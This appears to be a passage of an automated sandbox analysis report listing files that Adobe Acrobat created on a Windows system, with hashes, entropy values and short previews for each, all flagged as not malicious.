Preview:	2025/01/10-21:42:02.902 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:42:02.939 1cf8 Recovering log #3.2025/01/10-21:42:02.975 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4449364161085
Encrypted:	false
SSDEEP:	384:Cegci5tOiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Yhs3OazzU89UTTgUL
MD5:	27B0E2EEF8B450AEE87CADD20FCA4815
SHA1:	705F810075DE686093DACD46739B3819E59AEAEE
SHA-256:	E0EDD3005E439C0FC71FC73822B9DCC4AB70430B7B7C766E378ECD083026AA2C
SHA-512:	9884B82F05081E0C878715B83CD78E061B001A70B94E053CE0FB3332B705AEAA41186AEB79F901D0B613BEEF7E0CD1951E3152F7993CC30D9CD47DADE90F8B49
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2116346093207118
Encrypted:	false
SSDEEP:	48:7MutCnCcOnq/mFTIF3XmHjBoGGR+jMz+Lhz:7PCnROnr9IVXEBodRBkl
MD5:	6CF2291203AFAE40563B11D9DBB765D6
SHA1:	5C873DFD350B46AA17EC4D98B8026087BC35CC60
SHA-256:	D9FB70194202F52528900DA95EB1217C4E8C56C4F8FE67589F9633BDF8D0CDC6
SHA-512:	F7EEF6FF3B97FAC0A4A9BFFC6F4EA941190F3A341736B3F534233534CB855755A67AAE932FBBBE167E249070C4634329F8A616BA94BFFAEFEEA467F80F409ABC
Malicious:	false
Preview:	.... .c.....t...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7217198674325394
Encrypted:	false
SSDEEP:	3:kkFklo2i/tfllXlE/HT8kgo/jNNX8RolJuRdxLlGB9lQRYwpDdt:kKxp/eT8GpNMa8RdWBwRd
MD5:	C0A2F12B6AB2EB6684F1D97AAA386FC7
SHA1:	C3B4D45FFF4FE8A59C1BDCDC82660FBA2F2BA431
SHA-256:	8A099C94CA8FAB56CBFED581BC85C8D404CC41C83107F571EE24A3E03A29C2DA
SHA-512:	068E5FC330ECB540139134D6CB95BCE379A264FE0122492A4688C06260CCEEE767FD682AFADB96F2B5B9BAF754711A2B5881DA634633BD81AE6F853598343C01
Malicious:	false
Preview:	p...... ..........-i.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2120705808986787
Encrypted:	false
SSDEEP:	6:kKjVtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:7niDImsLNkPlE99SNxAhUe/3
MD5:	41DA605C23A748F4EB5EB31961782969
SHA1:	BE5F0D229E40FBB1E45B523D0BBFB1180613069E
SHA-256:	8F62579D3B109C2C4B5873CCCF6B5D5B2364F95C2CD497775FD24E5EE56403C0
SHA-512:	1031607785EFD5F833DCA767AC0FF495E69DF86840804EAE4003815FAE0B5ADB0AD76D60E242511D2446DA39CF97FD4F1CB9CAC2B1E9CE82D8BDF015149DEB33
Malicious:	false
Preview:	p...... ........:on{.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1460

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1460

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349442642758665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJM3g98kUwPeUkwRe9:YvXKXF2Zc0vcZGMbLUkee9
MD5:	26C9C027E5DE386F82F3660713721E97
SHA1:	31004CB3B564C0AFDFBD1C933C12CDCBC6DC16EE
SHA-256:	D41BCC0E6F55481088400E7242DE6D01EBBB82C97B0F26E41909EDCE6F3A9415
SHA-512:	83431DCD983DCAB5D66AE78EE1FFAEF96C179E430BEDB4BC8CDC5B0F9AFF477C0319A75F7CCB1FAB80FC58CCFEC41263F778C4D55CB3B68890B254399ABD1733
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299107458035692
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJfBoTfXpnrPeUkwRe9:YvXKXF2Zc0vcZGWTfXcUkee9
MD5:	0E51AA50A5A2206D6BD388B40EF28F95
SHA1:	1C435C2727F056B0FF4FBE6FD8DBE18E407B3B57
SHA-256:	CB7043A11D391E35BB5229A877276F707C691633E5F0DBFA40CB555078665B32
SHA-512:	7078FEE53729942FDA9ACF38166BCA38AC23C02568DE44C42F4E497F218C11D43E8F4254BD77EDEC93F24C74A2F6F9D70E9D5982A323F9983C17A10623A8D0F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.27792853308129
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJfBD2G6UpnrPeUkwRe9:YvXKXF2Zc0vcZGR22cUkee9
MD5:	6A028C94C9B9832AE35E1DE69A803CDA
SHA1:	4B2966A910F70AC80920354F4A2CF43371BC0E04
SHA-256:	2E6F25FC31D944D7B6AEDE9B0A57AED3D8ABA0FB18E10BA7EDA842D6A65C89E3
SHA-512:	37F3E66BD48AEFF5053E75D802955D3F9D585785A2FD1E075D81B2604D7635656AE1A4800662B7965A075FBA9A2D1CF6CE64088612D2D3EAFBC846559CB56AFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33596470181142
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJfPmwrPeUkwRe9:YvXKXF2Zc0vcZGH56Ukee9
MD5:	C524FCA8A8104495B0C61D34F3451B6B
SHA1:	4D3A3DC0769F32712AB1A2272CE0496A5A9333A0
SHA-256:	DE06D58B80AA027BEF0BD5CFEF0B51CEE549330B128CD875C852C8263FDDD165
SHA-512:	583B9A2DAE4F085F93C401E7AFAAE5A27B527439C2880F60ACD76E3463BF2AC9E3353887B82030B62229AD9C464ABE2E0768AB48B3670769CBA7106D8495DB44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691543701244787
Encrypted:	false
SSDEEP:	24:Yv6XYzvZpLgE9cQx8LennAvzBvkn0RCmK8czOCCSV:Yvvxhgy6SAFv5Ah8cv/V
MD5:	4019423494FF45B256D4FF75BC2283F2
SHA1:	E10D35BEFF34448400BED057CA6B2062B219AFE1
SHA-256:	B6ACF3773155F425AEEE47C22B705A4A81A91A2FC68FD28441A371FADA911C9C
SHA-512:	A9FD5C0C58BD9A57478D3E5FC54756CCA0011CD0FF3EE90D1ABD70426460BF53AFE6918CA0E45F618F025E2AAD03A82AFB3C9EC13AB4294C5264E0F70542005C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282233781745405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJf8dPeUkwRe9:YvXKXF2Zc0vcZGU8Ukee9
MD5:	E5CF4A70470FDB984677015E106E6C4A
SHA1:	F6461A10680C4A0BBF7157CA7C3B3A277F2BA9A6
SHA-256:	1845F8DCB48DCB16E9CD92DA14E3F2063D2D9D3AFA7E9B57B6A7FB0B924FAE4A
SHA-512:	68B57AC5BF0EFDDAE5218BBEBD9A13EA3142C73E13CE1C4FD4F455353BC59DC44B34D4A5FB1D496FBBDEAD24006F994D586D3B55DB3F13716C374B4108D340CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2860423202807105
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJfQ1rPeUkwRe9:YvXKXF2Zc0vcZGY16Ukee9
MD5:	E1758F6AE5EFB84F1C2474E3DB58CB49
SHA1:	C3A2B10B431D3EF6B068442FF0FCCE4B1416962E
SHA-256:	EA42BAE3F060942A26A4733D27F8766C841E7F4D8BC08B96917F8FDF88AAA136
SHA-512:	5B9D6CAF8D6B00B28F238C5F245A30BECFA910033124ACF5A8F01733FACAA109683E45A9A268987BEC6F49657CCD810356C94D27223F7E83F3FAD2B72CB9FCB2
Malicious:	false
